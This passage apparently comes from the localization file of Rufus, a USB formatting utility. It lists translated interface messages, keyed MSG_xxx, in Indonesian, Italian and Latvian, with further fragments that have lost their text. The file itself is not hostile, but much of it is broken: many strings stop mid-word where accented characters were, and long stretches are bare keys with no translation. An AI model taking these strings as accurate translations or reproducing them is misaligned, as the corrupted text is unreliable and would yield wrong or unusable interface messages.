"Biasanya hanya diperlukan jika Anda memasang Windows XP dan memiliki lebih dari satu disk"

t MSG_169 "Membuat partisi tersembunyi tambahan dan memcoba menyelaraskan batas partisi.\n"

t MSG_170 "Aktifkan pencantuman USB Hard Drive enclosures. RESIKO DITANGGUNG ANDA SENDIRI!!!"

t MSG_171 "Mulai operasi format.\nTindakan ini akan MENGHAPUS semua data pada target!"

t MSG_172 "Informasi lisensi dan kredit"

t MSG_173 "Klik untuk memilih..."

t MSG_174 "Rufus - Utilitas Pemformatan USB yang Handal"

t MSG_175 "Versi %d.%d (Build %d)"

t MSG_176 "Terjemahan Bahasa Indonesia: Abe Akatsuki, Arif Budiman"

t MSG_177 "Laporkan bug atau permintaan perbaikan pada:"

t MSG_178 "Hak Cipta Tambahan:"

t MSG_179 "Ketentuan Pembaruan:"

t MSG_180 "Jika Anda memilih untuk mengizinkan program ini memeriksa pembaruan aplikasi, "

t MSG_181 "Arsitektur dan versi sistem operasi Anda"

t MSG_182 "Versi aplikasi yang Anda gunakan"

t MSG_183 "Alamat IP Anda"

t MSG_184 "Dengan tujuan untuk menghasilkan statistik penggunaan pribadi, kami dapat menyimpan informasi yang dikumpulkan, "

t MSG_185 "Proses Pembaruan:"

t MSG_186 "Rufus tidak memasang atau menjalankan layanan latar belakang, oleh karena itu pemeriksaan pembaruan dapat dilakukan hanya ketika aplikasi utama berjalan.\\line\n"

t MSG_187 "Image tidak sah untuk opsi boot yang dipilih"

t MSG_188 "Image saat ini tidak cocok dengan opsi boot yang dipilih. Silakan gunakan image yang lain atau pilih opsi boot yang berbeda."

t MSG_189 "Image ISO ini tidak kompatibel dengan sistem berkas yang dipilih"

t MSG_190 "Perangkat tidak kompatibel terdeteksi"

t MSG_191 "Tulis berlalu"

t MSG_192 "Baca berlalu"

t MSG_193 "Diunduh %s"

t MSG_194 "Tidak dapat mengunduh %s"

t MSG_195 "Menggunakan %s berkas versi tersemat"

t MSG_196 "PENTING: PERANGKAT INI MENGGUNAKAN UKURAN SEKTOR YANG TIDAK STANDAR!\n\n"

"Perangkat konvensional menggunakan ukuran sektor 512-byte tetapi perangkat ini menggunakan %d-byte. "

t MSG_197 "Ukuran sektor tidak standar terdeteksi"

t MSG_198 "'Windows To Go' hanya dapat diinstal pada perangkat yang berpartisi GPT yang memiliki "

t MSG_199 "Pilih ini jika Anda berencana untuk menginstal Windows, pada disk lain, menggunakan perangkat yang dipilih sebagai media instalasi."

t MSG_200 "Pilih ini jika Anda ingin menjalankan Windows secara langsung dari perangkat yang dipilih."

t MSG_201 "Membatalkan - Silakan Tunggu..."

t MSG_202 "Memindai image..."

t MSG_203 "Gagal memindai image"

t MSG_204 "%s usang terdeteksi"

t MSG_205 "Menggunakan image: %s"

t MSG_206 "Berkas %s hilang"

t MSG_207 "Volume Baru"

t MSG_208 "%d perangkat ditemukan"

t MSG_209 "%d perangkat ditemukan"

t MSG_210 "SIAP"

t MSG_211 "Dibatalkan"

t MSG_212 "Gagal"

t MSG_213 "Meluncurkan aplikasi baru..."

t MSG_214 "Gagal meluncurkan aplikasi baru"

t MSG_215 "Membuka %s"

t MSG_216 "Menyimpan %s"

t MSG_217 "Memformat: %0.1f%% selesai"

t MSG_218 "Membuat sistem berkas: Tugas %d/%d selesai"

t MSG_219 "Perbaikan NTFS: %d%% selesai"

t MSG_220 "Memformat (%s) - perkiraan durasi %d:d..."

t MSG_221 "Menyetel Label (Memerlukan beberapa saat)..."

t MSG_222 "Memformat (%s)..."

t MSG_223 "Perbaikan NTFS (Checkdisk)..."

t MSG_224 "Membersihkan struktur MBR/PBR/GPT..."

t MSG_225 "Meminta akses disk..."

t MSG_226 "Menganalisa boot records yang ada..."

t MSG_227 "Menutup volume yang ada..."

t MSG_228 "Menulis master boot record..."

t MSG_229 "Menulis boot record partisi..."

t MSG_230 "Menyalin berkas DOS..."

t MSG_231 "Menyalin berkas ISO..."

t MSG_232 "Win7 EFI boot setup (memerlukan beberapa saat)..."

t MSG_233 "Menyelesaikan, silakan tunggu..."

t MSG_234 "Menginstal Syslinux %s..."

t MSG_235 "Blok Buruk: %s %d/%d - %0.2f%% (%d/%d/%d errors)"

t MSG_236 "Blok Buruk: Mencoba denga pola acak"

t MSG_237 "Blok Buruk: Mencoba dengan pola 0xX"

t MSG_238 "Mempartisi (%s)..."

t MSG_239 "Menghapus partisi..."

t MSG_240 "Mengunduh %s: Menyambungkan..."

t MSG_241 "Mengunduh: %0.1f%%"

t MSG_242 "gagal mengunduh berkas."

t MSG_243 "Memeriksa pembaruan Rufus..."

t MSG_244 "Pembaruan: Tidak dapat menyambungkan ke internet"

t MSG_245 "Pembaruan: Tidak dapat mengakses data versi"

t MSG_246 "Versi baru Rufus tersedia!"

t MSG_247 "Tidak ada versi baru Rufus yang ditemukan"

t MSG_248 "Registry aplikasi berhasil dihapus"

t MSG_249 "Gagal menghapus kunci registry aplikasi"

t MSG_250 "%s diaktifkan"

t MSG_251 "%s dinonaktifkan"

t MSG_252 "Periksa ukuran"

t MSG_253 "Deteksi Hard disk"

t MSG_254 "Format paksa FAT32 yang besar"

t MSG_255 "NoDriveTypeAutorun akan dihapus saat keluar"

t MSG_256 "Deteksi perangkat palsu"

t MSG_257 "Dukungan Joliet"

t MSG_258 "Dukungan Rock Ridge"

t MSG_259 "Pembaruan Paksa"

t MSG_260 "Kompresi NTFS"

t MSG_261 "Menulis image: %0.1f%% selesai"

t MSG_262 "Dukungan ISO"

t MSG_263 "Gunakan unit ukuran PROPER"

t MSG_264 "Menghapus direktori '%s'"

t MSG_265 "Deteksi VMWare disk"

t MSG_266 "Modus Dual UEFI/BIOS"

t MSG_267 "Menerapkan image Windows: %0.1f%% selesai"

t MSG_268 "Menerapkan image Windows..."

t MSG_269 "Pertahankan timestamps"

t MSG_271 "Menghitung ceksum image: %0.1f%% selesai"

t MSG_272 "Hitung ceksum MD5, SHA1 dan SHA256 pada image yang dipilih"

t MSG_273 "Ubah bahasa aplikasi"

t MSG_274 "Image ISOHybrid terdeteksi"

t MSG_275 "Image yang Anda pilih merupakan image 'ISOHybrid'. Ini artinya image tersebut dapat ditulis dalam "

"mode %s (salin berkas) atau mode %s (disk image).\n"

"Rufus menyarankan untuk menggunakan mode %s, sehingga Anda tetap memiliki akses pada perangkat setelah menulisnya.\n"

"Namun, jika Anda menemukan masalah saat boot, Anda bisa mencoba menulis image ini kembali dalam mode %s.\n\n"

t MSG_276 "Tulis dalam mode %s (Disarankan)"

t MSG_277 "Tulis dalam mode %s"

t MSG_278 "Tipe Boot"

t MSG_280 "Pemilihan image"

t MSG_281 "(Silakan pilih sebuah image)"

t MSG_282 "Penguncian perangkat USB khusus"

t MSG_283 "Tanda tangan digital tidak valid"

t MSG_284 "Berkas exe yang diunduh memiliki tanda tangan digital yang salah."

t MSG_285 "Berkas exe yang diunduh ditandatangani oleh '%s'.\nTanda tangan ini "

t IDC_WINDOWS_INSTALL "Installazione Windows standard"

t IDC_WEBSITE " Fai clic qui per visitare il sito web"

t MSG_001 "Rilevata altra istanza Rufus"

t MSG_003 "ATTENZIONE: TUTTI I DATI SULL'UNITA' '%s' SARANNO CANCELLATI.\n"

t MSG_004 "Policy aggiornamenti Rufus"

t MSG_005 "Vuoi permettere a Rufus di controllare gli aggiornamenti online?"

t MSG_006 "Chiudi"

t MSG_007 "Annulla"

t MSG_008 "S

t MSG_010 "Rilevato blocco difettoso"

t MSG_011 "Controllo completato: trovati %d blocchi difettosi\n"

" %d errori lettura\n %d errori scrittura\n %d errori corruzione\n"

t MSG_012 "%s\nUn report pi

disponibile in:\n%s"

t MSG_013 "Disabilitato"

t MSG_014 "Giornaliero"

t MSG_015 "Settimanale"

t MSG_016 "Mensile"

t MSG_017 "Personalizzato"

t MSG_018 "Versione installata: %d.%d (Build %d)"

t MSG_019 "Versione aggiornata: %d.%d (Build %d)"

t MSG_029 "Predefinito"

t MSG_030 "%s (predefinito)"

t MSG_031 "Schema partizione %s per BIOS o %s"

t MSG_032 "Schema partizione %s per BIOS"

t MSG_033 "Schema partizione %s per UEFI"

t MSG_034 "%d test"

t MSG_035 "%d test"

t MSG_036 "Immagine ISO"

t MSG_037 "Applicazione"

t MSG_038 "Annulla"

t MSG_039 "Esegui"

t MSG_041 "Operazione annullata dall'utente"

t MSG_042 "Errore"

t MSG_043 "Errore: %s"

t MSG_044 "Download file"

t MSG_045 "Unit

t MSG_046 "%s (disco %d) [%s]"

t MSG_047 "Partizioni multiple"

t MSG_048 "Rufus - Svuotamento buffer"

t MSG_049 "Rufus - Cancellazione"

t MSG_050 "Completato."

t MSG_051 "Errore sconosciuto durante la formattazione."

t MSG_052 "Impossibile usare il filesystem selezionato."

t MSG_053 "Accesso negato all'unit

t MSG_054 "Il supporto

t MSG_055 "L'unit

t MSG_056 "Formattazione rapida non disponibile per questa unit

t MSG_057 "Etichetta volume non valida."

t MSG_058 "Il gestore unit

t MSG_059 "Dimensione cluster selezionata non valida per questa unit

t MSG_060 "Dimensione volume non valida."

t MSG_061 "Inserisci un supporto nell'unit

stato ricevuto un comando non supportato."

t MSG_063 "Errore allocazione memoria."

t MSG_064 "Errore lettura."

t MSG_065 "Errore scrittura."

t MSG_066 "Installazione fallita"

t MSG_067 "Impossibile aprire il supporto. Potrebbe essere in uso da un altro processo."

"Reinserisci il supporto e riprova."

t MSG_068 "Errore nel partizionamento dell'unit

t MSG_069 "Impossibile copiare i file nell'unit

t MSG_070 "Annullato dall'utente."

t MSG_071 "Impossibile creare attivit

t MSG_072 "Controllo blocchi errati non completato."

t MSG_073 "Analisi fallita immagine ISO."

t MSG_074 "Estrazione fallita immagine ISO."

t MSG_075 "Impossibile rimontare l'unit

t MSG_076 "Impossibile correggere/impostare i file per il boot."

t MSG_077 "Impossibile assegnare una lettera all'unit

t MSG_078 "Impossibile montare volume GUID."

t MSG_079 "L'unit

t MSG_080 "Rufus ha rilevato che Windows sta ancora svuotando i buffer interni relativi all'unit

USB, questa operazione potrebbe richiedere un certo tempo per essere completata, "

"specialmente per file molto grandi.\n\nTi suggeriamo di attendere che Windows completi le operazioni per evitare la corruzione dei dati. "

t MSG_081 "Formato immagine non supportato"

t MSG_082 "Questa immagine non

bootabile, o usa un metodo di boot o di compressione non supportato da Rufus..."

t MSG_083 "Sostituire %s?"

t MSG_084 "Questa immagine sembra che usi una versione obsoleta di '%s'.\n"

"scaricato '%s', verr

t MSG_086 "Nessuna immagine selezionata"

t MSG_087 "Fai clic sul pulsante disco per selezionare una immagine avviabile, "

t MSG_088 "Immagine troppo grande"

t MSG_089 "Questa immagine

t MSG_090 "Formato ISO non supportato"

t MSG_091 "Quando usi una destinazione di tipo UEFI, sono supportate solo immagini ISO avviabili EFI. "

t MSG_092 "Filesystem non supportato"

t MSG_093 "IMPORTANTE: QUESTA UNITA' CONTIENE PARTIZIONI MULTIPLE!!\n\n"

includere partizioni/volumi che non sono elencati anche se visibili da Windows."

t MSG_094 "Rilevate partizioni multiple"

t MSG_095 "Immagine DD"

t MSG_096 "Il file system attualmente selezionato non pu

t MSG_097 "'%s' pu

t MSG_098 "IMPORTANTE: stai tentando di installare 'Windows To Go', ma l'unit

Windows molto probabilmente si bloccher

t MSG_099 "Limitazione filesystem"

t MSG_100 "Questa immagine ISO contiene un file pi

t MSG_101 "Supporto WIN mancante"

t MSG_102 "Il tuo sistema operativo non pu

USB avviabile EFI Windows 7 e Windows Vista. Puoi correggere ci

t MSG_104 "%s o successivo richiedono l'installazione di un file '%s'.\n"

sempre presente nell'immagine ISO di %s, "

t MSG_105 "La cancellazione potrebbe lasciare il dispositivo in uno stato NON USABILE.\n"

t MSG_106 "Seleziona la cartella"

t MSG_107 "Tutti i file"

t MSG_108 "Registro eventi Rufus"

t MSG_109 "0xX (disco %d)"

t MSG_110 "Non si pu

t MSG_111 "Dimensione cluster incompatibile"

t MSG_112 "La formattazione di un volume UDF di grandi dimensioni pu

di %d:d, durante il quale la barra di progresso non verr

aggiornata. Attendi il completamento dell'operazione!"

t MSG_113 "Voume UDF di grandi dimensioni"

t MSG_114 "Questa immagine usa Syslinux %s%s ma questa applicazione include solo i file di installazione per "

"Syslinux %s%s.\n\nPoich

"('ldlinux.sys' e 'ldlinux.bss'):\n"

"- Seleziona 'No' per annullare l'operazione\n\n"

t MSG_115 "Richiede download"

t MSG_116 "Questa immagine usa Grub %s ma l'applicazione incliude solo i file di installazione per "

"Grub %s.\n\nQuesta differente versione di Grub potrebbe non essere compatibile con l'altra, e non

"installazione di Grub ('core.img') che corrisponda a quella dell'immagine.\n"

"- Seleziona 'Annulla' per interrompere l'operazione.\n\n"

t MSG_150 "Questa impostazione

"un sistema operativo in modo EFI, puoi selezionare una delle opzioni sottostanti"

t MSG_151 "Usa questa impostazione se vuoi installare un sistema operativo in modo EFI, ma devi accedere "

"al contenuto USB in Windows XP"

t MSG_152 "L'opzione preferita per installare un sistema operativo in modo EFI quando "

richiesto in Windows XP"

t MSG_153 "Pattern di test: 0xX"

t MSG_154 "Pattern di test: 0xX, 0xX"

t MSG_155 "Pattern di test: 0xX, 0xX, 0xX"

t MSG_156 "Pattern di test: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Impostazione del filesystem destinazione"

t MSG_158 "Dimensione minima del blocco dati del filesystem"

t MSG_159 "Usa questo campo per impostare l'etichetta dell'unit

t MSG_160 "Abilita/disabilita opzioni avanzate"

t MSG_161 "Abilita questa opzione per effettuare un controllo dei blocchi danneggiati nel dispositivo usando un pattern di test"

t MSG_162 "Deseleziona questa opzione per usare il metodo di formattazione completo ma 'lento'"

t MSG_163 "Abilita questa opzione per rendere l'unit

t MSG_164 "Definisce il metodo che verr

t MSG_165 "Seleziona l'immagine..."

t MSG_166 "Abilita questa opzione per permettere la visualizzazione delle etichette internazionali "

un file autorun.inf)"

t MSG_167 "Installa un MBR che permette la selezione all'avvio e maschera l'ID unit

t MSG_168 "Prova prima a macsherare l'unit

"Questo potrebbe essere necessario solo se installi Windows XP e hai pi

t MSG_169 "Crea una partizione aggiuntiva e nascosta e prova ad allineare le diverse partizioni.\n"

t MSG_170 "Abilita il rilevamento per i dischi USB. USALO A TUO RISCHIO!!!"

t MSG_171 "Avvia l'operazione di formattazione.\nQuesta operazione DISTRUGGERA' qualsiasi dato sull'unit

t MSG_172 "Informazioni licenza e ringraziamenti"

t MSG_173 "Fai clic per selezionare..."

t MSG_174 "Rufus - Utility affidabile formattazione unit

t MSG_175 "Versione %d.%d (build %d)"

t MSG_176 "Traduzione italiana a cura di bovirus"

t MSG_177 "Segnala i problemi o richiedi nuove funzionalit

t MSG_178 "Diritti aggiuntivi:"

t MSG_179 "Policy aggiornamenti:"

t MSG_180 "Se scegli di permette a questo programma di controllare automaticamente gli aggiornamenti, "

t MSG_181 "L'architettura del tuo sistema operativo e la versione"

t MSG_182 "La versione dell'applicazione in uso"

t MSG_183 "Il tuo indirizzo IP"

t MSG_184 "Potremmo mantenere le informazioni al solo scopo di creare una statistica privata di utilizzo, "

t MSG_185 "Processo aggiornamento:"

t MSG_186 "Rufus non installa o esegue servizi in background. Il controllo aggiornamenti verr

t MSG_187 "Immagine non valida per opzione boot selezionata"

t MSG_188 "L'immagine selezionata non corrisponde all'opzione boot scelta. Usa un'immagine differente o scegli un'opzione boot differente."

t MSG_189 "Questa immagine non

t MSG_190 "Rilevata unit

t MSG_191 "Fase scrittura"

t MSG_192 "Fase lettura"

t MSG_193 "Scaricati %s"

t MSG_194 "Impossibile scaricare %s"

t MSG_195 "Utilizzo versione integrata dei file %s"

t MSG_196 "IMPORTANTE: QUESTA UNITA' USA UNA DIMENSIONE SETTORI NON STANDARD!\n\n"

usa una dimensione di %d byte. "

t MSG_197 "Rilevata dimensione settore non standard"

t MSG_198 "'Windows To Go' pu

t MSG_199 "Scegli se vuoi installare Windows, su un altro disco, usando il dispositivo selezionato come supporto di installazione."

t MSG_200 "Scegli se vuoi installare Windows direttamente dal dispositivo selezionato."

t MSG_201 "Annullamneto..."

t MSG_202 "Analisi immagine..."

t MSG_203 "Analisi immagine fallita"

t MSG_204 "Rilevato %s obsoleto"

t MSG_205 "Uso immagine: %s"

t MSG_206 "File %s mancante"

t MSG_207 "Nuovo volume"

t MSG_208 "Rilevato %d dispositivo"

t MSG_209 "Rilevati %d dispositivi"

t MSG_210 "PRONTO"

t MSG_211 "Annullata"

t MSG_212 "OPERAZIONE FALLITA"

t MSG_213 "Esecuzione nuova applicazione..."

t MSG_214 "Esecuzione fallita nuova applicazione"

t MSG_215 "Aperto %s"

t MSG_216 "Salvato %s"

t MSG_217 "Formattazione: %0.1f%% completata"

t MSG_218 "Creazione filesystem: attivit

%d/%d completata"

t MSG_219 "Correzione NTFS: %d%% completata"

t MSG_220 "Formattazione (%s) - durata stimata %d:d..."

t MSG_221 "Impostazione etichetta (potrebbe richiedere del tempo)..."

t MSG_222 "Formattazione (%s)..."

t MSG_223 "Correzione NTFS (controllo disco)..."

t MSG_224 "Azzeramento struttura MBR/PBR/GPT..."

t MSG_225 "Richiesta accesso disco..."

t MSG_226 "Analisi dati avvio..."

t MSG_227 "Chiusura volume esistente..."

t MSG_228 "Scrittura master boot record..."

t MSG_229 "Scrittura partizione di avvio..."

t MSG_230 "Copia file DOS..."

t MSG_231 "Copia file immagine ISO..."

t MSG_232 "Impostazione avvio EFI Windows 7 (potrebbe richiedere del tempo)..."

t MSG_233 "Finalizzazione..."

t MSG_234 "Installazione Syslinux %s..."

t MSG_235 "Blocchi danneggiati: %s %d/%d - %0.2f%% (%d/%d/%d errori)"

t MSG_236 "Blocchi danneggiati: test con pattern casuali"

t MSG_237 "Blocchi danneggiati: testing con pattern 0xX"

t MSG_238 "Partitionamento (%s)..."

t MSG_239 "Eliminazione partizioni..."

t MSG_240 "Download di %s: connessione..."

t MSG_242 "Impossibile scaricare il file."

t MSG_243 "Verifica disponibilit

t MSG_244 "Aggiornamento: impossibile collegarsi a internet"

t MSG_245 "Aggiornamento: impossibile accedere alle info versione"

t MSG_247 "La versione installata

t MSG_248 "Registro applicazione correttamente eliminato"

t MSG_249 "Impossibile eliminare il registro applicazione"

t MSG_250 "Abilitato %s"

t MSG_251 "Disabilitato %s"

t MSG_252 "Controllo dimensione"

t MSG_253 "Rilevamento dischi fissi"

t MSG_254 "Forza formattazione FAT32 estesa"

t MSG_255 "Verr

t MSG_256 "Rilevamento unit

t MSG_257 "Supporto Joliet"

t MSG_258 "Supporto Rock Ridge"

t MSG_259 "Forza aggiornamento"

t MSG_260 "Compressione NTFS"

t MSG_261 "Scrittura immagine: %0.1f%% completata"

t MSG_262 "Supporto ISO"

t MSG_263 "Usa unit

t MSG_264 "Eliminazione cartella '%s'"

t MSG_265 "Rilevamento disco VMWare"

t MSG_266 "Modo duale UEFI/BIOS"

t MSG_267 "Applicazione immagine Windows: %0.1f%% completata"

t MSG_268 "Applicazione immagine Windows..."

t MSG_269 "Preserva data/ora"

t MSG_271 "Calcolo checksum immagine: %0.1f%% completato"

t MSG_272 "Calcola le checksum MD5, SHA1 e SHA256 per l'immagine selezionata"

t MSG_273 "Cambia la lingua dell'interfaccia"

t MSG_274 "Rilevata immagine ISO ibrida"

t MSG_275 "L'immagine selezionata

"'%s' (copia file) o in modo '%s' (immagine disco).\n"

"Rufus suggerisce di usare il modo '%s', in modo da avere sempre pieno accesso all'unit

"Se incontri problemi al boot, puoi provare a scrivere questa immagine in modo %s.\n\n"

t MSG_276 "Scrivi in modo %s (suggerito)"

t MSG_277 "Scrivi in modo %s"

t MSG_278 "Tipo boot"

t MSG_279 "Non avviabile"

t MSG_280 "Selezione immagine"

t MSG_281 "(seleziona un'immagine)"

t MSG_282 "Blocco esclusivo unit

t MSG_283 "Firma non valida"

t MSG_284 "L'eseguibile scaricato non ha una firma digitale."

t MSG_285 "L'eseguibile scaricato

firmato da '%s'.\nQuesta non

s IDC_NBPASSES  60,0

Windows

t MSG_002 "Rufus

t MSG_004 "Rufus

t MSG_005 "Rufus

%d\n"

%d \n

%d \n"

t MSG_031 "%s BIOS

t MSG_032 "%s BIOS

t MSG_033 "%s UEFI

t MSG_036 "ISO

t MSG_045 "USB

t MSG_073 "ISO

t MSG_074 "ISO

t MSG_078 "GUID

t MSG_080 "Rufus

t MSG_083 "%s

t MSG_085 "%s

t MSG_091 "UEFI

"Windows

t MSG_095 "DD

t MSG_100 "ISO

t MSG_108 "Rufus

t MSG_112 "USB2.0

%d:d

Grub %s

('core.img')"

t MSG_151 "EFI

Windows XP

t MSG_152 "EFI

(autorun.inf

"autorun.inf

"Windows XP

<mailto:chantella-eng@live.com> \\line"

: Tiryoh <mailto:tiryoh@gmail.com>"

t MSG_183 "IP

t MSG_186 "Rufus

t MSG_194 "%s

t MSG_198 "FIXED

t MSG_205 "%s

t MSG_208 "%d

t MSG_209 "%d

: (%s) -

: (%s)..."

t MSG_223 "NTFS

t MSG_230 "DOS

t MSG_231 "ISO

:%s %d/%d - %0.2f%% (%d/%d/%d

t MSG_243 "Rufus

t MSG_246 "Rufus

t MSG_247 "Rufus

t MSG_255 "NoDriveTypeAutorun

t MSG_257 "Juliet

t MSG_258 "Rock Ridge

t MSG_260 "NTFS

t MSG_262 "ISO

t MSG_265 "VMWare

t MSG_267 "Windows

t MSG_268 "Windows

t MSG_270 "USB

t MSG_276 "%s

t MSG_277 "%s

t MSG_286 "'0'

t MSG_027 "KB"

t MSG_028 "MB"

%s (BIOS

t MSG_034 "

t MSG_035 "%d

"'%s'

t MSG_088 "ISO

t MSG_091 "UEFI

t MSG_097 "'%s'

: 'Windows To Go'

t MSG_101 "WIM

Windows Vista

t MSG_103 "%s

t MSG_104 "%s

t MSG_110 "MS-DOS

"%d:d

"Syslinux %s%s.\n\nSyslinux

"('ldlinux.sys' and 'ldlinux.bss'):\n"

"Grub %s

('core.img')

t MSG_151 "EFI

, Windows XP

t MSG_152 "EFI

t MSG_163 "USB

t MSG_165 "ISO

"(autorun.inf

t MSG_170 "USB

<mailto:ho82.kr@gmail.com>"

t MSG_193 "%s

t MSG_198 "'Windows To Go'

t MSG_203 "ISO

t MSG_206 "%s

t MSG_208 "%d

t MSG_209 "%d

t MSG_215 "%s

t MSG_216 "%s

t MSG_220 "(%s)

t MSG_224 "MBR/PBR/GPT

t MSG_230 "DOS

t MSG_231 "ISO

t MSG_232 "WIN7 EFI

t MSG_234 "Syslinux %s

: PASS %d/%d - %0.2f%% (%d/%d/%d errors)"

: 0xX

t MSG_240 "%s

t MSG_254 "Large FAT32

t MSG_255 "NoDriveTypeAutoRun

t MSG_264 "'%s'

t MSG_267 "Windows

t MSG_268 "Windows

t MSG_274 "ISOHybrid

t MSG_276 "ISO

t MSG_277 "DD

m IDC_NBPASSES 45,0

t IDC_WINDOWS_INSTALL "Standarta Windows instal

t IDC_WEBSITE "Piespiediet

t MSG_001 "Noteikta cita procesa esam

t MSG_002 "Cits Rufus eksempl

t MSG_003 "UZMAN

JA '%s' TIKS IZDZ

t MSG_004 "Rufus jaunin

t MSG_005 "Vai v

t MSG_006 "Aizv

t MSG_007 "Atcelt"

t MSG_008 "J

t MSG_009 "N

t MSG_010 "Atrasti boj

t MSG_011 "P

rbaude pabeigta: atrasts(-i) %d boj

" %d nolas

da(-s)\n %d ieraksta k

da(-s)\n %d boj

t MSG_012 "%s\nS

ku atskaiti var atrast:\n%s"

t MSG_013 "Atsl

t MSG_014 "Ik dienu"

t MSG_015 "Ik ned

t MSG_016 "Ik m

t MSG_017 "Cit

t MSG_018 "J

su versija: %d.%d (Build %d)"

t MSG_019 "P

versija: %d.%d (Build %d)"

t MSG_020 "baiti"

t MSG_026 "baiti"

t MSG_027 "kilobaiti"

t MSG_028 "megabaiti"

t MSG_029 "Noklus

t MSG_030 "%s (Noklus

t MSG_031 "%s form

ts datoriem ar BIOS vai %s"

t MSG_032 "%s form

t MSG_033 "%s form

t MSG_034 "%d m

t MSG_035 "%d m

t MSG_036 "ISO imid

t MSG_037 "Aplik

t MSG_039 "Start

t MSG_040 "Lejupl

t MSG_041 "Darb

t MSG_042 "K

t MSG_043 "K

da: %s"

t MSG_044 "Fails lejupl

t MSG_045 "USB atmi

t MSG_046 "%s (Disks %d) [%s]"

t MSG_047 "Multi part

t MSG_049 "Darb

t MSG_050 "Veiksm

t MSG_051 "Nezin

t MSG_053 "Piek

t MSG_054 "Iek

t MSG_055 "Iek

t MSG_057 "Ier

t MSG_058 "Ier

t MSG_059 "Izv

t MSG_060 "Nekorekts part

t MSG_062 "Tika sa

t MSG_063 "Atmi

t MSG_064 "Nolas

t MSG_065 "Ieraksta k

t MSG_066 "Nesekm

t MSG_067 "Nevar atv

t MSG_068 "Diska veido

t MSG_069 "Neizdev

t MSG_070 "Darb

t MSG_071 "Neizdev

t MSG_072 "Boj

t MSG_073 "ISO imid

t MSG_074 "ISO imid

t MSG_075 "Neizdev

t MSG_076 "Neizdev

t MSG_077 "Neizdev

t MSG_078 "Neizdev

t MSG_079 "Ier

t MSG_080 "Rufus noteica ka Windows nav beidzis darbu ar USB ier

t Windows darb

t MSG_081 "Neatbalst

t MSG_082 "Izv

t MSG_083 "Aizvietot %s?"

as versijas '%s'.\n"

"'%s' autom

t MSG_085 "Lejupl

ts %s"

t MSG_086 "Nav izv

t MSG_087 "Piespiediet uz pogas ar disku lai nor

t MSG_088 "Imid

t MSG_089 "Izv

t MSG_090 "Neatbalst

t MSG_091 "Izmantojot sist

t MSG_092 "Neatbalst

t MSG_093 "SVAR

lotas vai redzamas no Windows. "

t MSG_094 "Konstat

t MSG_095 "DD imid

t MSG_096 "Teko

t MSG_097 "'%s' var izmantot tikai ar NTFS failu sist

t MSG_098 "SVAR

t 'Windows To Go', bet izv

dz ar to Windows iel

t MSG_099 "Failu sist

t MSG_101 "K

t MSG_102 "J

des diska izveidei OS Windows 7 vai Windows Vista USB diskiem. To var izlabot "

t MSG_103 "Lejupl

ts %s?"

t MSG_104 "Instal

ama %s vai jaun

ka faila '%s' versija.\n"

ks par 100 KB, un pieder %s ISO imid

"'%s' jau ir, tas tiks p

t MSG_105 "Darb

t MSG_106 "Izv

t MSG_107 "Visi faili"

t MSG_108 "Rufus logs"

t MSG_109 "0xX (Disks %d)"

t MSG_110 "MS-DOS nevar iel

t MSG_111 "Nekorekts klastera izm

t MSG_112 "Large UDF disku format

"ilgums ir %d:d, kura laik

t MSG_113 "Large UDF disks"

s izmanto Syslinux %s%s, bet aplik

"Syslinux %s%s.\n\nT

gos failus ('ldlinux.sys' un 'ldlinux.bss'):\n"

t MSG_115 "Nepiecie

s izmanto Grub %s bet aplik

"Grub %s.\n\nT

"faila versiju ('core.img') kuru mekl

t MSG_150 "Parasti izmantojam

t MSG_151 "Izmantojiet

uve no Windows XP"

t MSG_152 "Izmantojiet

t MSG_153 "Boj

t MSG_154 "Boj

t MSG_155 "Boj

t MSG_156 "Boj

t MSG_157 "Failu sist

t MSG_159 "Ievadiet nes

t MSG_160 "Atv

t MSG_161 "Atz

t MSG_162 "No

t MSG_163 "Atz

t MSG_164 "Iel

t MSG_165 "Piespiediet imid

t MSG_166 "Atz

"ikonas izveidei (tiek izveidots fails autorun.inf)"

t MSG_167 "Instal

t MSG_168 "M

jat Windows XP un izmantojat vair

t MSG_169 "IZveidot papildus sl

t MSG_170 "R

t MSG_171 "Tiks s

t MSG_172 "Inform

t MSG_173 "Piespiediet izv

t MSG_174 "Rufus - uzticama un vienk

t MSG_175 "Versija %d.%d (Build %d)"

t MSG_176 "Latvie

u tulkojums: Aldis Tutins <mailto:alibaba@inbox.lv>"

t MSG_177 "Pazi

t MSG_178 "Papildus autorties

t MSG_179 "Jaunin

t MSG_180 "Ja j

t MSG_181 "J

t MSG_182 "Izmantojam

t MSG_183 "J

t MSG_184 "Statistikas nol

t MSG_185 "Jaunin

t MSG_186 "Rufus netiek instal

t MSG_187 "Izv

t MSG_188 "Izv

t MSG_190 "Noteikts neatbalst

t MSG_191 "M

t MSG_192 "Nolas

t MSG_193 "Iel

t MSG_194 "Nevar iel

t %s"

t MSG_195 "Izmantot %s faila(u) iek

t MSG_196 "SVAR

rta izmanto %d-bitu. "

t MSG_197 "Noteikts nestandarta sektoru izm

t MSG_198 "'Windows To Go' var tikt instal

t MSG_199 "Izv

lieties, ja Windows tiks instal

t MSG_200 "Izv

siet Windows tie

t MSG_201 "Atcel

t MSG_202 "Diska imid

t MSG_203 "K

t MSG_204 "Noteikts novecojis %s modulis"

t MSG_205 "Tiek izmantots imid

dains %s fails"

t MSG_207 "Jauns Disks"

t MSG_208 "Atrasta %d ier

t MSG_209 "Atrastas %d ier

t MSG_210 "Gatavs darbam"

t MSG_211 "Darb

t MSG_212 "K

t MSG_213 "Tiek start

t MSG_214 "K

t MSG_215 "Atv

rts %s"

t MSG_216 "Saglab

t MSG_217 "Format

t MSG_218 "Failu sist

mas izveide: Paveikts %d/%d"

t MSG_219 "NTFS labojums: Paveikts %d%%"

t MSG_220 "Format

ana (%s) - apr

tais laiks %d:d..."

t MSG_221 "Nosaukuma ieraksts (var aiz

t MSG_222 "Format

ana (%s)..."

t MSG_223 "NTFS labojums (Checkdisk)..."

t MSG_225 "Nepiecie

t MSG_226 "Eso

t MSG_227 "Eksist

t MSG_228 "Galven

t MSG_229 "Sada

t MSG_232 "Win7 EFI iel

t MSG_233 "Pabeig

t MSG_234 "Instal

jas Syslinux %s..."

t MSG_235 "Boj

tie sektori: %s %d/%d - %0.2f%% (%d/%d/%d k

t MSG_236 "Boj

t MSG_237 "Boj

ana ar 0xX"

t MSG_238 "Sada

as izveide (%s)..."

t MSG_239 "Sada

t MSG_240 "Lejupl

%s: Savienojums..."

t MSG_241 "Iel

t MSG_242 "K

t MSG_243 "Tiek p

t MSG_244 "Jaunin

t MSG_245 "Jaunin

